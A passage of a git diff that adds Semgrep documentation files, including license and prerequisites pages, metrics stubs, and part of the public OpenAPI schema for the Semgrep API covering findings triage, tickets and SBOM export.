+ The Semgrep CE engine is an open source project licensed under [LGPL 2.1](https://github.com/semgrep/semgrep/blob/develop/LICENSE). The proprietary extension of Semgrep CE is Semgrep Code, see also [Terms of Service](https://semgrep.dev/terms).
+
+## License Semgrep for use
+
+If you are interested in using Semgrep products for your own solutions and code analysis tools, send us an email at [partnerships@semgrep.com](mailto:partnerships@semgrep.com)
\ No newline at end of file
diff --git a/mintlify-docs/logo/dark.svg b/mintlify-docs/logo/dark.svg
new file mode 100644
index 0000000000..48815c80ed
--- /dev/null
+++ b/mintlify-docs/logo/dark.svg
@@ -0,0 +1,16 @@
+
diff --git a/mintlify-docs/logo/light.svg b/mintlify-docs/logo/light.svg
new file mode 100644
index 0000000000..ba4052461e
--- /dev/null
+++ b/mintlify-docs/logo/light.svg
@@ -0,0 +1,16 @@
+
\ No newline at end of file
diff --git a/mintlify-docs/metrics-1.mdx b/mintlify-docs/metrics-1.mdx
new file mode 100644
index 0000000000..562644b21a
--- /dev/null
+++ b/mintlify-docs/metrics-1.mdx
@@ -0,0 +1,9 @@
+---
+title: "Semgrep metrics"
+sidebarTitle: "Metrics"
+description: "Semgrep CLI may collect aggregate metrics to help improve the product. This document describes:"
+---
+
+import Metrics from "/snippets/metrics.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/metrics.mdx b/mintlify-docs/metrics.mdx
new file mode 100644
index 0000000000..1bc53aee43
--- /dev/null
+++ b/mintlify-docs/metrics.mdx
@@ -0,0 +1,8 @@
+---
+title: "Semgrep metrics"
+description: "Semgrep CLI may collect aggregate metrics to help improve the product. This document describes:"
+---
+
+import Metrics from "/snippets/metrics.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/prerequisites.mdx b/mintlify-docs/prerequisites.mdx
new file mode 100644
index 0000000000..afcb480d53
--- /dev/null
+++ b/mintlify-docs/prerequisites.mdx
@@ -0,0 +1,43 @@
+---
+title: "Prerequisites"
+description: "This document details the required software or services to run Semgrep products."
+---
+
+
+## Overall
+
+A programming language must be supported by Semgrep for your chosen product.
+
+| Product | Scan type | Link |
+| ------- | ------ | ------ |
+| Semgrep Community Edition (CE) | SAST | [Supported languages](/supported-languages#language-maturity-levels) |
+| Semgrep Code | SAST | [Supported languages](/supported-languages#language-maturity-levels) |
+| Semgrep Supply Chain | SCA | [Supported languages](/supported-languages#semgrep-supply-chain) |
+| Semgrep Secrets | Secrets | Language-agnostic |
+
+
+## Semgrep command-line tool
+
+These requirements apply to both Semgrep AppSec Platform and Semgrep CE.
+
+### Software
+
+- Python 3.10 or later installed on the machine you are running Semgrep on.
+
+### Operating system
+
+- macOS
+- Linux
+- Windows (beta)
+
+## Semgrep AppSec Platform
+
+These requirements apply to Semgrep AppSec Platform.
+
+- A GitHub or GitLab cloud account. The credentials are used to authenticate and identify you.
+- A Git repository to scan, stored in any of the following source code managers:
+ - GitHub
+ - GitLab
+ - Bitbucket
+ - Azure DevOps
+- A CI provider and sufficient permissions to create CI jobs.
diff --git a/mintlify-docs/public/images/learn/security-foundations/assets/sast-dataflow.png b/mintlify-docs/public/images/learn/security-foundations/assets/sast-dataflow.png
new file mode 100644
index 0000000000..6056500831
Binary files /dev/null and b/mintlify-docs/public/images/learn/security-foundations/assets/sast-dataflow.png differ
diff --git a/mintlify-docs/public/images/learn/security-foundations/assets/sca.png b/mintlify-docs/public/images/learn/security-foundations/assets/sca.png
new file mode 100644
index 0000000000..f9b345f938
Binary files /dev/null and b/mintlify-docs/public/images/learn/security-foundations/assets/sca.png differ
diff --git a/mintlify-docs/public/images/learn/security-foundations/assets/workflow.png b/mintlify-docs/public/images/learn/security-foundations/assets/workflow.png
new file mode 100644
index 0000000000..8a257a9985
Binary files /dev/null and b/mintlify-docs/public/images/learn/security-foundations/assets/workflow.png differ
diff --git a/mintlify-docs/public_v1.openapi.yaml b/mintlify-docs/public_v1.openapi.yaml
new file mode 100644
index 0000000000..f1e0b2a8af
--- /dev/null
+++ b/mintlify-docs/public_v1.openapi.yaml
@@ -0,0 +1,4931 @@
+components:
+ schemas:
+ protos.ai.v1.Autotriage:
+ properties:
+ feedback:
+ $ref: '#/components/schemas/protos.ai.v1.AutotriageFeedback'
+ id:
+ type: string
+ issueId:
+ type: string
+ matchBasedId:
+ type: string
+ memoryIdsReferenced:
+ items:
+ type: string
+ type: array
+ memoryIdsRendered:
+ items:
+ type: string
+ type: array
+ reason:
+ description: The reasoning for a false positive verdict, explaining why
+ you might want to ignore the finding. Empty string if verdict is true
+ positive.
+ type: string
+ verdict:
+ description: '
+
+ | value | description |
+
+ |-------|---------------|
+
+ | VERDICT_TRUE_POSITIVE | |
+
+ | VERDICT_FALSE_POSITIVE | |
+
+ | VERDICT_NO_VERDICT | |
+
+
+ '
+ enum:
+ - VERDICT_TRUE_POSITIVE
+ - VERDICT_FALSE_POSITIVE
+ - VERDICT_NO_VERDICT
+ format: enum
+ type: string
+ type: object
+ protos.ai.v1.AutotriageFeedback:
+ properties:
+ autotriageId:
+ type: string
+ note:
+ type: string
+ rating:
+ description: '
+
+ | value | description |
+
+ |-------|---------------|
+
+ | RATING_GOOD | Autotriage rated positively by a user. |
+
+ | RATING_BAD | Autotriage rated negatively by a user. |
+
+
+ '
+ enum:
+ - RATING_GOOD
+ - RATING_BAD
+ format: enum
+ type: string
+ type: object
+ protos.common.v1.FloatRange:
+ properties:
+ max:
+ description: End of the range
+ format: float
+ type: number
+ min:
+ description: Start of the range
+ format: float
+ type: number
+ title: Float Range
+ type: object
+ protos.common.v1.Policy:
+ properties:
+ id:
+ description: ID of the Policy.
+ example: '1'
+ format: uint64
+ type: string
+ isDefault:
+ description: When True, the Policy applies to all repositories.
+ example: true
+ type: boolean
+ name:
+ description: Name of the Policy.
+ example: Global Policy
+ type: string
+ productType:
+ description: 'Product type the Policy applies to.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | PRODUCT_TYPE_SAST | The product type for Code rules. |
+
+ | PRODUCT_TYPE_SECRETS | The product type for Secrets rules. |
+
+
+ '
+ enum:
+ - PRODUCT_TYPE_SAST
+ - PRODUCT_TYPE_SECRETS
+ example: PRODUCT_TYPE_SAST
+ format: enum
+ type: string
+ slug:
+ description: Sanitized machine-readable name of the Policy.
+ example: global_policy
+ type: string
+ title: Policy
+ type: object
+ protos.common.v1.ReviewComment:
+ properties:
+ externalDiscussionId:
+ description: External ID of the review comment or discussion thread.
+ type: string
+ externalNoteId:
+ description: External ID of the specific note in the review comment discussion
+ thread. Only applicable for GitLab.com, GitLab Self-Managed and Azure
+ DevOps.
+ type: string
+ type: object
+ protos.common.v1.Rule:
+ properties:
+ category:
+ description: Category the Rule is associated with.
+ example: security
+ type: string
+ confidence:
+ description: 'Confidence based on the Rule''s false-positive rate.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | CONFIDENCE_HIGH | |
+
+ | CONFIDENCE_MEDIUM | |
+
+ | CONFIDENCE_LOW | |
+
+
+ '
+ enum:
+ - CONFIDENCE_HIGH
+ - CONFIDENCE_MEDIUM
+ - CONFIDENCE_LOW
+ example: CONFIDENCE_HIGH
+ format: enum
+ type: string
+ cweCategories:
+ description: The CWE associated with the Rule.
+ example:
+ - 'CWE-918: Server-Side Request Forgery (SSRF)'
+ items:
+ type: string
+ type: array
+ hasValidators:
+ description: When True, the secrets rule has validators.
+ type: boolean
+ id:
+ description: ID of the Rule.
+ format: uint64
+ type: string
+ languages:
+ description: Languages the Rule applies to.
+ example:
+ - python
+ items:
+ type: string
+ type: array
+ lastChangeAt:
+ description: Timestamp of when the Rule was last changed.
+ example: 2024-07-29 22:33:37.380293+00:00
+ format: date-time
+ type: string
+ lastChangeBy:
+ description: Username of who last changed the Rule.
+ type: string
+ owaspCategories:
+ description: Owasp categories the Rule is associated with.
+ example:
+ - 'A07: Cross-Site Scripting (XSS)'
+ items:
+ type: string
+ type: array
+ path:
+ description: Full path of the Rule.
+ example: python.rule.1
+ type: string
+ policyMode:
+ description: 'Mode behavior: Monitor / Comment / Block / Disabled
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | MODE_MONITOR | Monitor mode, silently report findings |
+
+ | MODE_COMMENT | Comment mode, leaves PR comments but does not block |
+
+ | MODE_BLOCK | Block mode, leaves PR comments and blocks PR |
+
+ | MODE_DISABLED | Disabled mode, not active |
+
+
+ '
+ enum:
+ - MODE_MONITOR
+ - MODE_COMMENT
+ - MODE_BLOCK
+ - MODE_DISABLED
+ example: MODE_BLOCK
+ format: enum
+ type: string
+ registryMaintainer:
+ description: The Registry maintainer associated with the Rule (if applicable).
+ example: semgrep
+ type: string
+ rulesets:
+ description: Rulesets to which the Rule belongs (if applicable).
+ example: []
+ items:
+ type: string
+ type: array
+ secretType:
+ description: The secret type (if applicable).
+ type: string
+ severity:
+ description: 'Severity level ("seriousness" of the finding)
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SEVERITY_HIGH | |
+
+ | SEVERITY_MEDIUM | |
+
+ | SEVERITY_LOW | |
+
+ | SEVERITY_CRITICAL | |
+
+
+ '
+ enum:
+ - SEVERITY_HIGH
+ - SEVERITY_MEDIUM
+ - SEVERITY_LOW
+ - SEVERITY_CRITICAL
+ example: SEVERITY_HIGH
+ format: enum
+ type: string
+ source:
+ description: 'Source of the Rule
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SOURCE_PRO | From Pro rules |
+
+ | SOURCE_COMMUNITY | From Semgrep Community rules |
+
+ | SOURCE_CUSTOM | From Custom rules |
+
+
+ '
+ enum:
+ - SOURCE_PRO
+ - SOURCE_COMMUNITY
+ - SOURCE_CUSTOM
+ example: SOURCE_COMMUNITY
+ format: enum
+ type: string
+ technologies:
+ description: Technologies the Rule is associated with.
+ example:
+ - django
+ - flask
+ items:
+ type: string
+ type: array
+ url:
+ description: The URL of the Rule.
+ type: string
+ vulnerabilityClass:
+ description: Vulnerability classes the Rule is associated with.
+ example: Improper Authentication
+ items:
+ type: string
+ type: array
+ title: Rule
+ type: object
+ protos.openapi.v1.AddProjectTagsRequest:
+ example:
+ - tag
+ properties:
+ deploymentSlug:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ projectName:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ tags:
+ example:
+ - tag
+ items:
+ type: string
+ type: array
+ required:
+ - deployment_slug
+ - project_name
+ title: Add Project Tags Request
+ type: object
+ protos.openapi.v1.AddProjectTagsResponse:
+ description: Successfully added tags to project.
+ properties:
+ project:
+ $ref: '#/components/schemas/protos.openapi.v1.Project'
+ required:
+ - projects
+ title: Add Project Tags Response
+ type: object
+ protos.openapi.v1.Assistant_Autofix:
+ description: Fix data generated by Semgrep Assistant
+ properties:
+ explanation:
+ description: 'DEPRECATED: This field is deprecated and will always be an
+ empty string. Find a description of how this fix works under `assistant.guidance`'
+ example: null
+ type: string
+ fix_code:
+ description: Source code that replaces all matched lines to fix this finding.
+ AI generated content, review carefully
+ example: cookie.setHttpOnly(true);\nresponse.addCookie(cookie);
+ type: string
+ title: Autofix
+ type: object
+ protos.openapi.v1.Assistant_Autotriage:
+ description: Triage recommendation generated by Semgrep Assistant
+ properties:
+ reason:
+ description: The reasoning for a `false_positive` verdict; this explains
+ why you might want to ignore the finding. Empty string if verdict is `true_positive`
+ example: The matched code is used for a non-security related feature.
+ type: string
+ verdict:
+ description: The verdict is `true_positive` if Assistant recommends fixing,
+ `false_positive` if Assistant recommends ignoring this finding. AI generated
+ decision, review carefully
+ enum:
+ - false_positive
+ - true_positive
+ example: false_positive
+ type: string
+ title: Autotriage
+ type: object
+ protos.openapi.v1.Assistant_Component:
+ description: Semgrep Assistant's guess as for what the matched source code's
+ purpose is
+ properties:
+ risk:
+ description: Component risk level
+ enum:
+ - high
+ - low
+ - neutral
+ example: high
+ type: string
+ tag:
+ description: Component tag
+ example: user data
+ type: string
+ title: Component
+ type: object
+ protos.openapi.v1.Assistant_Guidance:
+ description: Remediation guidance generated by Semgrep Assistant
+ properties:
+ instructions:
+ description: Step-by-step instructions explaining to a developer how to
+ fix the finding. AI generated content, review carefully
+ example: null
+ type: string
+ summary:
+ description: Short title explaining to a developer how to fix the finding.
+ AI generated content, review carefully
+ example: Use a template rendering engine such as EJS instead of string concatenation.
+ type: string
+ title: Guidance
+ type: object
+ protos.openapi.v1.Assistant_RuleExplanation:
+ description: AI-generated explanation of why a rule flagged this specific code
+ properties:
+ explanation:
+ description: Detailed explanation of why this rule flagged the code, including
+ context about the security issue and why it applies to this specific code.
+ AI generated content, review carefully
+ example: This code is vulnerable to SQL injection because user input from
+ the `username` parameter is directly concatenated into the SQL query string
+ without sanitization or parameterization.
+ type: string
+ summary:
+ description: A concise summary of the rule explanation. May not be present
+ for all findings
+ example: User input directly concatenated into SQL query
+ type: string
+ title: Rule Explanation
+ type: object
+ protos.openapi.v1.BulkTriageRequest:
+ properties:
+ autotriage_verdict:
+ description: The autotriage verdict to filter by
+ enum:
+ - true_positive
+ - false_positive
+ example: true_positive
+ type: string
+ categories:
+ description: List of categories to filter by
+ example:
+ - security
+ - performance
+ items:
+ type: string
+ type: array
+ component_tags:
+ description: List of component tags to filter by
+ example:
+ - user authentication
+ - user data
+ items:
+ type: string
+ type: array
+ confidence:
+ description: List of confidence levels to filter by
+ enum:
+ - low
+ - medium
+ - high
+ example: high
+ type: string
+ dependencies:
+ description: Filter by dependency name. Only applies for sca findings.
+ example:
+ - lodash
+ - express
+ items:
+ type: string
+ type: array
+ deploymentSlug:
+ description: Deployment slug. Can be found at /deployments, or in your Settings
+ in the web UI.
+ type: string
+ epss_probability:
+ description: Filter by EPSS probability (likelihood of exploit). Only applies
+ for sca findings.
+ enum:
+ - low
+ - medium
+ - high
+ - none
+ example:
+ - high
+ - medium
+ items:
+ type: string
+ type: array
+ exposures:
+ description: Filter by exposure (reachability type). Only applies for sca
+ findings. Reachability is the ability of an attacker to access a vulnerability
+ in a system.
+ enum:
+ - reachable
+ - always_reachable
+ - conditionally_reachable
+ - unreachable
+ - unknown
+ example:
+ - reachable
+ - always_reachable
+ items:
+ type: string
+ type: array
+ include_historical:
+ description: Whether to include historical findings. Only applies for secrets
+ findings. Defaults to true.
+ example: true
+ type: boolean
+ issue_ids:
+ description: An array of issue IDs to act on. If this is not provided, an
+ issue filter should be provided.
+ example:
+ - 123
+ - 456
+ items:
+ format: uint32
+ type: integer
+ type: array
+ issue_type:
+ description: Type of findings to bulk triage.
+ enum:
+ - sast
+ - sca
+ - secrets
+ example: sca
+ type: string
+ limit:
+ default: 3000.0
+ description: Max number of issues to triage. Must be an integer between
+ 1 and 3000. Defaults to 3000. When selecting findings to triage, Semgrep
+ will also triage findings with the same fingerprint on other branches.
+ As a result, the list of triaged issue_ids returned in the response may
+ be higher than the specified limit.
+ example: 100
+ format: uint32
+ type: integer
+ new_note:
+ description: The note to attach to the bulk triaged findings.
+ example: some note here
+ type: string
+ new_triage_reason:
+ description: The reason for triaging to a given triage state.
+ enum:
+ - acceptable_risk
+ - false_positive
+ - no_time
+ - no_triage_reason
+ example: acceptable_risk
+ type: string
+ new_triage_state:
+ description: The triage state you would like to bulk triage your findings
+ to.
+ enum:
+ - ignored
+ - reviewing
+ - fixing
+ - reopened
+ example: reopened
+ type: string
+ policies:
+ description: List of policy modes to filter by
+ example:
+ - rule-board-block
+ - rule-board-pr-comments
+ - rule-board-audit
+ items:
+ type: string
+ type: array
+ policy_mode:
+ description: List of policy modes to filter by
+ enum:
+ - monitor
+ - comment
+ - block
+ example:
+ - monitor
+ - block
+ items:
+ type: string
+ type: array
+ pro_only:
+ description: Filter by whether a finding is only available with Semgrep
+ Pro features. Only applies for sast findings.
+ example: true
+ type: boolean
+ project_tags:
+ description: List of project tags to filter by
+ example:
+ - my_project_tag_1
+ - my_project_tag_2
+ items:
+ type: string
+ type: array
+ ref:
+ description: Branch reference to filter by
+ example: refs/pull/1234/merge
+ type: string
+ repos:
+ description: List of repository names to filter by
+ example:
+ - myorg/repo1
+ - myorg/repo2
+ items:
+ type: string
+ type: array
+ repository_visibility:
+ description: Filter by repository visibility. Only applies for secrets findings.
+ enum:
+ - public
+ - private
+ - unknown
+ example:
+ - public
+ - private
+ items:
+ type: string
+ type: array
+ rules:
+ description: List of rule names to filter by
+ example:
+ - typescript.react.security.audit.react-no-refs.react-no-refs
+ - ajinabraham.njsscan.hardcoded_secrets.node_username
+ items:
+ type: string
+ type: array
+ ruleset:
+ description: List of Semgrep Registry rulesets to filter by
+ example:
+ - owasp-top-ten
+ - default
+ items:
+ type: string
+ type: array
+ secret_types:
+ description: Filter by type of secret (typically provider-related). Only
+ applies for secrets findings.
+ example:
+ - Github
+ - Heroku
+ - AWS
+ items:
+ type: string
+ type: array
+ severities:
+ description: List of severities to filter by
+ enum:
+ - low
+ - medium
+ - high
+ - critical
+ example:
+ - low
+ - high
+ items:
+ type: string
+ type: array
+ since:
+ description: 'Epoch timestamp in seconds. Filters using the relevant_since
+ field: the timestamp when this finding was detected by Semgrep (the first
+ time, or when reintroduced).'
+ example: 1717334400
+ type: string
+ status:
+ description: The status to filter by
+ enum:
+ - open
+ - fixed
+ - ignored
+ - reviewing
+ - fixing
+ example: open
+ type: string
+ transitivities:
+ description: Filter by transitivity of a dependency. Only applies for sca
+ findings.
+ enum:
+ - direct
+ - transitive
+ - unknown
+ example:
+ - transitive
+ - direct
+ items:
+ type: string
+ type: array
+ triage_reasons:
+ description: List of triage reasons to filter by
+ enum:
+ - acceptable_risk
+ - false_positive
+ - no_time
+ - no_triage_reason
+ example:
+ - acceptable_risk
+ - false_positive
+ items:
+ type: string
+ type: array
+ validation_state:
+ description: Filter by whether a secret could be validated. Only applies
+ for secrets findings.
+ enum:
+ - confirmed_valid
+ - confirmed_invalid
+ - validation_error
+ - no_validator
+ example:
+ - valid
+ - invalid
+ items:
+ type: string
+ type: array
+ required:
+ - deployment_slug
+ - issue_type
+ title: Bulk Triage Request
+ type: object
+ protos.openapi.v1.BulkTriageResponse:
+ properties:
+ num_triaged:
+ description: Number of items updated
+ format: uint32
+ type: integer
+ triaged_issues:
+ description: List of triaged issue IDs
+ items:
+ format: uint32
+ type: integer
+ type: array
+ required:
+ - num_triaged
+ - triaged_issues
+ title: Bulk Triage Response
+ type: object
+ protos.openapi.v1.CreateSbomExportRequest:
+ properties:
+ deploymentId:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ formatVersion:
+ $ref: '#/components/schemas/protos.sca.v1.SbomFormatVersion'
+ metadataComponentType:
+ default: SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_APPLICATION
+ description: 'Metadata component type for the SBOM export.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_APPLICATION | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_FRAMEWORK | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_LIBRARY | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_CONTAINER | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_PLATFORM | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_OPERATING_SYSTEM | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_DEVICE | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_DEVICE_DRIVER | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_FIRMWARE | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_FILE | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_MACHINE_LEARNING_MODEL | |
+
+ | SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_DATA | |
+
+
+ '
+ enum:
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_APPLICATION
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_FRAMEWORK
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_LIBRARY
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_CONTAINER
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_PLATFORM
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_OPERATING_SYSTEM
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_DEVICE
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_DEVICE_DRIVER
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_FIRMWARE
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_FILE
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_MACHINE_LEARNING_MODEL
+ - SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_DATA
+ example: SBOM_METADATA_COMPONENT_TYPE_CYCLONE_DX_V15_APPLICATION
+ format: enum
+ type: string
+ metadataSupplier:
+ $ref: '#/components/schemas/protos.sca.v1.SbomMetadataSupplier'
+ ref:
+ description: Branch to export SBOM for (Ex. ref=`refs/pull/1234/merge`).
+ example: refs/pull/1234/merge
+ type: string
+ repositoryId:
+ description: Repository ID to export SBOM for.
+ example: 123
+ format: uint64
+ type: string
+ sbomOutputFormat:
+ description: 'SBOM output format for the SBOM export.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SBOM_OUTPUT_FORMAT_JSON | |
+
+
+ '
+ enum:
+ - SBOM_OUTPUT_FORMAT_JSON
+ - SBOM_OUTPUT_FORMAT_CYCLONEDX
+ example: SBOM_OUTPUT_FORMAT_JSON
+ format: enum
+ type: string
+ required:
+ - deployment_id
+ title: Create Sbom Export Request
+ type: object
+ protos.openapi.v1.CreateSbomExportResponse:
+ properties:
+ taskToken:
+ description: Task token for the SBOM export job.
+ type: string
+ required:
+ - task_token
+ title: Create Sbom Export Response
+ type: object
+ protos.openapi.v1.CreateTicketRequest:
+ description: Create ticket request
+ properties:
+ autotriage_verdict:
+ description: The autotriage verdict to filter by
+ enum:
+ - true_positive
+ - false_positive
+ example: true_positive
+ type: string
+ categories:
+ description: List of categories to filter by
+ example:
+ - security
+ - performance
+ items:
+ type: string
+ type: array
+ component_tags:
+ description: List of component tags to filter by
+ example:
+ - user authentication
+ - user data
+ items:
+ type: string
+ type: array
+ confidence:
+ description: List of confidence levels to filter by
+ enum:
+ - low
+ - medium
+ - high
+ example: high
+ type: string
+ dependencies:
+ description: Filter by dependency name. Only applies for sca findings.
+ example:
+ - lodash
+ - express
+ items:
+ type: string
+ type: array
+ deploymentSlug:
+ description: Deployment slug. Can be found at `/deployments`, or in your
+ Settings in the web UI.
+ type: string
+ epss_probability:
+ description: Filter by EPSS probability (likelihood of exploit). Only applies
+ for sca findings.
+ enum:
+ - low
+ - medium
+ - high
+ - none
+ example:
+ - high
+ - medium
+ items:
+ type: string
+ type: array
+ exposures:
+ description: Filter by exposure (reachability type). Only applies for sca
+ findings. Reachability is the ability of an attacker to access a vulnerability
+ in a system.
+ enum:
+ - reachable
+ - always_reachable
+ - conditionally_reachable
+ - unreachable
+ - unknown
+ example:
+ - reachable
+ - always_reachable
+ items:
+ type: string
+ type: array
+ group_issues:
+ default: 'true'
+ description: Whether or not to group findings from the same rule and repository
+ into a single ticket. Defaults to true.
+ example: true
+ type: boolean
+ include_historical:
+ description: Whether to include historical findings. Only applies for secrets
+ findings. Defaults to true.
+ example: true
+ type: boolean
+ issue_ids:
+ description: An array of issue IDs to act on. If this is not provided, an
+ issue filter should be provided.
+ example:
+ - 123
+ - 456
+ items:
+ type: string
+ type: array
+ issue_type:
+ description: Type of findings to create tickets for.
+ enum:
+ - sast
+ - sca
+ - secrets
+ example: sca
+ type: string
+ jira_project_id:
+ description: Optional numeric Jira project ID to associate with the created
+ tickets. If not specified, defaults to the project configured in your
+ integration settings. You can fetch this ID using the Jira API.
+ example: 12345
+ type: string
+ limit:
+ default: 20.0
+ description: Max number of tickets to create. Must be an integer between
+ 1 and 20. Defaults to 20
+ example: 20
+ format: uint32
+ type: integer
+ policies:
+ description: List of policy modes to filter by
+ example:
+ - rule-board-block
+ - rule-board-pr-comments
+ - rule-board-audit
+ items:
+ type: string
+ type: array
+ policy_mode:
+ description: List of policy modes to filter by
+ enum:
+ - monitor
+ - comment
+ - block
+ example:
+ - monitor
+ - block
+ items:
+ type: string
+ type: array
+ pro_only:
+ description: Filter by whether a finding is only available with Semgrep
+ Pro features. Only applies for sast findings.
+ example: true
+ type: boolean
+ project_tags:
+ description: List of project tags to filter by
+ example:
+ - my_project_tag_1
+ - my_project_tag_2
+ items:
+ type: string
+ type: array
+ ref:
+ description: Branch reference to filter by
+ example: refs/pull/1234/merge
+ type: string
+ repos:
+ description: List of repository names to filter by
+ example:
+ - myorg/repo1
+ - myorg/repo2
+ items:
+ type: string
+ type: array
+ repository_visibility:
+ description: Filter by repository visibility. Only applies for secrets findings.
+ enum:
+ - public
+ - private
+ - unknown
+ example:
+ - public
+ - private
+ items:
+ type: string
+ type: array
+ rules:
+ description: List of rule names to filter by
+ example:
+ - typescript.react.security.audit.react-no-refs.react-no-refs
+ - ajinabraham.njsscan.hardcoded_secrets.node_username
+ items:
+ type: string
+ type: array
+ ruleset:
+ description: List of Semgrep Registry rulesets to filter by
+ example:
+ - owasp-top-ten
+ - default
+ items:
+ type: string
+ type: array
+ secret_types:
+ description: Filter by type of secret (typically provider-related). Only
+ applies for secrets findings.
+ example:
+ - Github
+ - Heroku
+ - AWS
+ items:
+ type: string
+ type: array
+ severities:
+ description: List of severities to filter by
+ enum:
+ - low
+ - medium
+ - high
+ - critical
+ example:
+ - low
+ - high
+ items:
+ type: string
+ type: array
+ since:
+ description: 'Epoch timestamp in seconds. Filters using the relevant_since
+ field: the timestamp when this finding was detected by Semgrep (the first
+ time, or when reintroduced).'
+ example: 1717334400
+ type: string
+ status:
+ description: The status to filter by
+ enum:
+ - open
+ - fixed
+ - ignored
+ - reviewing
+ - fixing
+ example: open
+ type: string
+ transitivities:
+ description: Filter by transitivity of a dependency. Only applies for sca
+ findings.
+ enum:
+ - direct
+ - transitive
+ - unknown
+ example:
+ - transitive
+ - direct
+ items:
+ type: string
+ type: array
+ triage_reasons:
+ description: List of triage reasons to filter by
+ enum:
+ - acceptable_risk
+ - false_positive
+ - no_time
+ - no_triage_reason
+ example:
+ - acceptable_risk
+ - false_positive
+ items:
+ type: string
+ type: array
+ validation_state:
+ description: Filter by whether a secret could be validated. Only applies
+ for secrets findings.
+ enum:
+ - confirmed_valid
+ - confirmed_invalid
+ - validation_error
+ - no_validator
+ example:
+ - valid
+ - invalid
+ items:
+ type: string
+ type: array
+ required:
+ - deployment_slug
+ - issue_type
+ title: Create Ticket Request
+ type: object
+ protos.openapi.v1.CreateTicketResponse:
+ properties:
+ failed:
+ description: List of issues where ticket creation failed. This list may
+ include issues that were skipped because they exceed the specified limit.
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateTicketResponse_TicketCreationFailed'
+ type: array
+ skipped:
+ description: List of issues that were skipped
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateTicketResponse_TicketCreationSkipped'
+ type: array
+ succeeded:
+ description: List of successfully created tickets
+ items:
+ $ref: '#/components/schemas/protos.openapi.v1.CreateTicketResponse_TicketCreationSuccess'
+ type: array
+ type: object
+ protos.openapi.v1.CreateTicketResponse_TicketCreationFailed:
+ properties:
+ error:
+ description: The error message for the failure
+ type: string
+ issue_ids:
+ description: List of issue IDs
+ items:
+ format: uint32
+ type: integer
+ type: array
+ type: object
+ protos.openapi.v1.CreateTicketResponse_TicketCreationSkipped:
+ properties:
+ issue_ids:
+ description: List of issue IDs
+ items:
+ format: uint32
+ type: integer
+ type: array
+ reason:
+ description: The reason why the issue was skipped
+ type: string
+ type: object
+ protos.openapi.v1.CreateTicketResponse_TicketCreationSuccess:
+ properties:
+ external_slug:
+ description: The external slug identifier for the ticket
+ type: string
+ issue_ids:
+ description: List of issue IDs
+ items:
+ format: uint32
+ type: integer
+ type: array
+ ticket_id:
+ description: The ID of the created ticket
+ format: uint32
+ type: integer
+ ticket_url:
+ description: The URL of the created ticket
+ type: string
+ type: object
+ protos.openapi.v1.DeleteProjectResponse:
+ description: Successfully deleted the project.
+ properties:
+ project_name:
+ description: The name of the deleted project.
+ example: organization/project
+ type: string
+ required:
+ - projects
+ title: Delete Project Response
+ type: object
+ protos.openapi.v1.DeleteProjectTagsResponse:
+ description: Successfully removed tags from project.
+ properties:
+ project:
+ $ref: '#/components/schemas/protos.openapi.v1.Project'
+ required:
+ - projects
+ title: Delete Project Tags Response
+ type: object
+ protos.openapi.v1.DeleteTicketResponse:
+ properties:
+ issueIds:
+ description: List of issue IDs unlinked from ticket
+ example:
+ - '18759'
+ - '18760'
+ items:
+ type: string
+ type: array
+ type: object
+ protos.openapi.v1.Deployment:
+ description: Deployment record, with relevant meta-data and further accesses.
+ properties:
+ findings:
+ $ref: '#/components/schemas/protos.openapi.v1.EndpointReference'
+ id:
+ description: Unique numerical identifier of the deployment.
+ example: 120
+ format: uint32
+ type: number
+ name:
+ description: Human readable name.
+ example: Your Deployment
+ type: string
+ slug:
+ description: Sanitized machine-readable name. Used as primary identifier
+ through the web API.
+ example: your-deployment
+ type: string
+ required:
+ - slug
+ - id
+ - name
+ title: Deployment
+ type: object
+ protos.openapi.v1.DiffScan:
+ properties:
